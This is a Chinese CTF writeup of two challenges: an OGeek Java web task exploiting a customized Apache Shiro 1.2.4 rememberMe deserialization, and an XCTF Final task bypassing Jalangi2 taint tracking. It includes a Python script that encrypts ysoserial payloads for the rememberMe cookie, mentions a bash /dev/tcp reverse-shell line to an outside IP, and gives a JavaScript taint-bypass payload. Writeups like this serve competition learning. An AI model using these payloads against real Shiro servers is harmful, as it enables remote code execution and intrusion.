OGeek 线下 Java Web And XCTF Final babytaint Writeup
因为最近课程非常非常多, 还顺带考试 + 实验报告, 咕咕咕掉了许多比赛, 真正去的也只有 OGeek, 其他都是云比赛.
拿做出来的题目里面选两题写个 Writeup 吧, 不然太久没更新了 (逃
Java Web
这题运气比较好, 拿了一血
拿到题目可以看到一堆 jsp, 可以确定是 java web.
1$ tree -L 2 . --dirsfirst
2.
3├── css
4│ ├── main.css
5│ └── util.css
6├── fonts
7│ ├── font-awesome-4.7.0
8│ ├── iconic
9│ └── poppins
10├── images
11│ ├── icons
12│ └── bg-01.jpg
13├── js
14│ └── main.js
15├── META-INF
16│ └── MANIFEST.MF
17├── vendor
18│ ├── animate
19│ ├── animsition
20│ ├── bootstrap
21│ ├── countdowntime
22│ ├── css-hamburgers
23│ ├── daterangepicker
24│ ├── jquery
25│ ├── perfect-scrollbar
26│ └── select2
27├── WEB-INF
28│ ├── classes
29│ ├── lib
30│ └── web.xml
31├── error.jsp
32├── index.jsp
33├── login.jsp
34└── success.jsp
逻辑比较简单, 漏洞也不在这些 jsp 里面
1<%@ page contentType="text/html;charset=UTF-8" language="java" %>
2<%@taglib prefix="shiro" uri="http://shiro.apache.org/tags" %>
3
4<!DOCTYPE html>
5<html lang="en">
6<head>
7 <title>Login V3</title>
8 <meta charset="UTF-8">
9 <meta name="viewport" content="width=device-width, initial-scale=1">
10 <!--===============================================================================================-->
11 <link rel="icon" type="image/png" href="images/icons/favicon.ico"/>
12 <!--===============================================================================================-->
13 <link rel="stylesheet" type="text/css" href="vendor/bootstrap/css/bootstrap.min.css">
14 <!--===============================================================================================-->
15 <link rel="stylesheet" type="text/css" href="fonts/font-awesome-4.7.0/css/font-awesome.min.css">
16 <!--===============================================================================================-->
17 <link rel="stylesheet" type="text/css" href="fonts/iconic/css/material-design-iconic-font.min.css">
18 <!--===============================================================================================-->
19<!-- 省略掉一些 html -->
20
21<!--
22<form action="/register" method="POST">
23 <input type="text" name="username" value=""><br>
24 <input type="text" name="password" value=""><br>
25 <input type="submit" name="submit" value="submit"><br>
26</form>
27-->
28
29</body>
30</html>
可以看到 shiro, 注意 WEB-INF/lib/
里面的 shiro-core-1.2.4.jar
是存在漏洞的版本, 可以利用 java 反序列化执行命令.
遂直接用了之前的找的 exp, 但是 JRMPClient 并没有回连的反应, 再看看 web.xml
web.xml
1 <context-param>
2 <param-name>contextConfigLocation</param-name>
3 <param-value>
4 classpath:spring-shiro.xml
5 </param-value>
6 </context-param>
7 <listener>
8 <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
9 </listener>
10
11
12 <filter>
13 <filter-name>shiroFilter</filter-name>
14 <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
15 <async-supported>true</async-supported>
16 <init-param>
17 <param-name>targetFilterLifecycle</param-name>
18 <param-value>true</param-value>
19 </init-param>
20 </filter>
21
22 <filter-mapping>
23 <filter-name>shiroFilter</filter-name>
24 <url-pattern>/*</url-pattern>
25 </filter-mapping>
找到 WEB-INF/classes/spring-shiro.xml
1<!-- 省略掉一些没用的配置 -->
2
3 <!-- rememberMe管理器 -->
4 <bean id="rememberMeManager" class="com.collection.shiro.manager.ShiroRememberManager">
5 <property name="cookie" ref="rememberMeCookie"/>
6 </bean>
7
8<!-- 省略掉一些没用的配置 -->
可以看到出题人用了自己实现的 rememberMeManager, 我们掏出 jd-gui 看看.
WEB-INF/classes/com/collection/shiro/manager/ShiroRememberManager.class
1private byte[] getKeyFromConfig() {
2 try {
3 InputStream fileInputStream = getClass().getResourceAsStream("remember.key");
4 String key = "";
5
6 if (fileInputStream == null || fileInputStream.available() < 32) {
7 BufferedWriter writer = new BufferedWriter(new FileWriter(getClass().getResource("/").getPath() + "com/collection/shiro/manager/remember.key"));
8 key = RandomStringUtils.random(32, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_=");
9 writer.write(key);
10 writer.close();
11 } else {
12 byte[] bytes = new byte[fileInputStream.available()];
13 fileInputStream.read(bytes);
14 key = new String(bytes);
15 fileInputStream.close();
16 }
17 key = (new Md5Hash(key)).toString();
18 return key.getBytes();
19 } catch (Exception e) {
20 e.printStackTrace();
21
22 return null;
23 }
24}
WEB-INF/classes/com/collection/shiro/crypto/ShiroCipherService.class
1public class ShiroCipherService implements CipherService {
2 public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
3 String skey = (new Sha1Hash(new String(key))).toString();
4 byte[] bkey = skey.getBytes();
5 byte[] data_bytes = new byte[ciphertext.length];
6 for (int i = 0; i < ciphertext.length; i++) {
7 data_bytes[i] = (byte)(ciphertext[i] ^ bkey[i % bkey.length]);
8 }
9 byte[] jsonData = new byte[ciphertext.length / 2];
10 for (int i = 0; i < jsonData.length; i++) {
11 jsonData[i] = (byte)(data_bytes[i * 2] ^ data_bytes[i * 2 + 1]);
12 }
13 JSONObject jsonObject = new JSONObject(new String(jsonData));
14 String serial = (String)jsonObject.get("serialize_data");
15 return ByteSource.Util.bytes(Base64.getDecoder().decode(serial));
16 }
17 public ByteSource encrypt(byte[] plaintext, byte[] key) throws CryptoException {
18 String sign = (new Md5Hash(UUID.randomUUID().toString())).toString() + "asfda-92u134-";
19 Subject subject = SecurityUtils.getSubject();
20 HttpServletRequest servletRequest = WebUtils.getHttpRequest(subject);
21 String user_agent = servletRequest.getHeader("User-Agent");
22 String ip_address = servletRequest.getHeader("X-Forwarded-For");
23 ip_address = (ip_address == null) ? servletRequest.getRemoteAddr() : ip_address;
24 String data = "{\"user_is_login\":\"1\",\"sign\":\"" + sign + "\",\"ip_address\":\"" + ip_address + "\",\"user_agent\":\"" + user_agent + "\",\"serialize_data\":\"" + Base64.getEncoder().encodeToString(plaintext) + "\"}";
25 byte[] data_bytes = data.getBytes();
26 byte[] okey = (new Sha1Hash(new String(key))).toString().getBytes();
27 byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();
28 byte[] out = new byte[2 * data_bytes.length];
29 for (int i = 0; i < data_bytes.length; i++) {
30 out[i * 2] = mkey[i % mkey.length];
31 out[i * 2 + 1] = (byte)(mkey[i % mkey.length] ^ data_bytes[i]);
32 }
33 byte[] result = new byte[out.length];
34 for (int i = 0; i < out.length; i++) {
35 result[i] = (byte)(out[i] ^ okey[i % okey.length]);
36 }
37 return ByteSource.Util.bytes(result);
38 }
这相当于魔改了原版的 shiro, 原版的是直接用的 AES. 我们可以看到这里魔改后秘钥是读的 com/collection/shiro/manager/remember.key
. (docker 初始自带一个 key, 所有人都用的一个, 不会自己生成).
然后算法也从 AES 变成了出题人手写的加密算法. 然后将序列化后的对象 base64 之后放在了 json 的 serialize_data
里面
我们可以写个脚本二次重写一下 ysoserial 生成的 payload
1from hashlib import md5
2from hashlib import sha1
3from base64 import b64encode
4from json import dumps
5
6payload = '/home/rmb122/repos/ysoserial/target/1.bin'
7payload = open(payload, 'rb').read()
8payload = b64encode(payload).decode()
9data = {"user_is_login": "1", "sign": "9368b2d39093ed7164841e4050f9cdbeasfda-92u134-", "ip_address": "10.10.19.245", "user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36",
10"serialize_data": payload}
11data = dumps(data).encode()
12
13
14key = "wR&_(NVG#c&9(CDhaDMZELDmxSe(mwbB"
15k = md5(key.encode()).hexdigest()
16k = sha1(k.encode()).hexdigest().encode()
17
18newdata = bytearray()
19newdata_2 = bytearray()
20
21for i in data:
22 newdata.append(i)
23 newdata.append(0)
24
25for i in range(len(newdata)):
26 newdata_2.append(newdata[i] ^ k[i % len(k)])
27
28print(b64encode(newdata_2))
然后直接改到 rememberMe 的 Cookie 上就行了, 尝试了几个 payload 因为 Cookie 是有长度限制的, 平常是直接将序列化数据 base64 贴上去所以不会超出限制. 这里双重 base64 加上加密还得带一个 xor key 导致很多 payload 就不能直接用了. 所以我们这里还是用 JRMPClient 来中转一下, 在自己的机器上跑一个 ysoserial.exploit.JRMPListener 就 ok 了.
这里需要注意原版的 ysoserial 是直接用的 java.Runtime.getRuntime().exec(payload)
, 相当于 execv(payload.split(' '))
, 会导致 bash -c "bash -i >& /dev/tcp/10.0.19.3/7777 0>&1"
之类的不能用, 这里当时是用了别的命令利用的漏洞. 赛后 fork 了 ysoserial 改了下, 用的 java.Runtime.getRuntime().exec(new String[]{})
就能直接弹 shell 之类的.
XCTF Final babytaint Writeup
拿到手先 Google jalangi2
是个啥, 可以搜到是个可以 hook javascript 各种操作的库. 这里是拿来搞了污点分析.
如果之前了解过一些编译原理和 PHP 的 taint 拓展, 那这道题确实挺简单的. 本质就是从 /dev/urandom/ 里面获取随机字节作为 secret, 题目 hook 了 “Source”() 的调用, 返回了 taint 过的 secret, 你需要通过某种方法 bypass 掉这个 taint. 也就是将污点去除.
我们看一下源码, 关键就是这个
1function AnnotatedValue(val, shadow)
2 {
3 this.val = val;
4 this.shadow = shadow;
5 }
这个就是一个包装类, 用 shadow 来记录是否是 taint 过的值. 题目 hook 住了所有计算, 拿二元计算来看
1this.binary = function(iid, op, left, right, result)
2 {
3 const aleft = actual(left);
4 const aright = actual(right);
5 switch (op)
6 {
7 case "+":
8 result = aleft + aright;
9 break;
10 case "-":
11 result = aleft - aright;
12 break;
13 case "*":
14 result = aleft * aright;
15 break;
16 case "/":
17 result = aleft / aright;
18 break;
19 case "%":
20 result = aleft % aright;
21 break;
22 case "<<":
23 result = aleft << aright;
24 break;
25 case ">>":
26 result = aleft >> aright;
27 break;
28 case ">>>":
29 result = aleft >>> aright;
30 break;
31 case "<":
32 result = aleft < aright;
33 break;
34 case ">":
35 result = aleft > aright;
36 break;
37 case "<=":
38 result = aleft <= aright;
39 break;
40 case ">=":
41 result = aleft >= aright;
42 break;
43 case "==":
44 result = aleft == aright;
45 break;
46 case "!=":
47 result = aleft != aright;
48 break;
49 case "===":
50 result = aleft === aright;
51 break;
52 case "!==":
53 result = aleft !== aright;
54 break;
55 case "&":
56 result = aleft & aright;
57 break;
58 case "|":
59 result = aleft | aright;
60 break;
61 case "^":
62 result = aleft ^ aright;
63 break;
64 case "delete":
65 result = delete aleft[aright];
66 break;
67 case "instanceof":
68 result = aleft instanceof aright;
69 break;
70 case "in":
71 result = aleft in aright;
72 break;
73 default:
74 errExit(op + " at " + iid + " not found");
75 }
76 return {result: new AnnotatedValue(result,
77 shadow(left) || shadow(right))};
78 };
只要两个运算符有一个是 taint 过的, 返回的也是 taint 过的值. 同时我们想要拿到 flag, 需要调用 “Sink”(secret), 但是输入的 secret
1else if (f === "Sink")
2 {
3 if (shadow(args[0]))
4 {
5 errExit("Value passed into sink cannot be tained");
6 }
7 const arr = actual(args[0])
8 if (!(arr instanceof Array) || arr.length !== 0x10)
9 {
10 errExit("must use an array with length 16 as the key");
11 }
12 for (let i = 0; i < arr.length; i++)
13 {
14 if (shadow(arr[i])) // check here
15 {
16 errExit("Value passed into sink cannot be tained");
17 }
18 if (actual(arr[i]) !== secret[i])
19 {
20 errExit("Wrong key!")
21 }
22 }
23 console.log(String(fs.readFileSync("flag")));
24 }
也不能是被 train 过的, 这就需要一点技巧来 bypass, 这里我用的是 delete 这个操作符, 因为 delete 影响的是左值对象的本身. 而这里 hook 的时候并不会将左值给 taint 掉, 只会将返回值 undefined 给 taint.
我们可以搞一个大小 256 的数组, 将 secret 作为删除的 key, 然后遍历找到是哪个 key 被 delete 掉, 我们就能获得 secret 的值而不被 taint.
最后 payload 如下:
1key=[];a=[]; for (z=0;z<16;z++){for (i = 0;i<256;i++) {a[i]=0;};t="Source"();delete a[t[z]];for(i=0;i<256;i++){if (a[i] === undefined){key[z]=i;}}};"Sink"(key);
可以看到不是很复杂, 这道题好像也有很多队伍做出来 233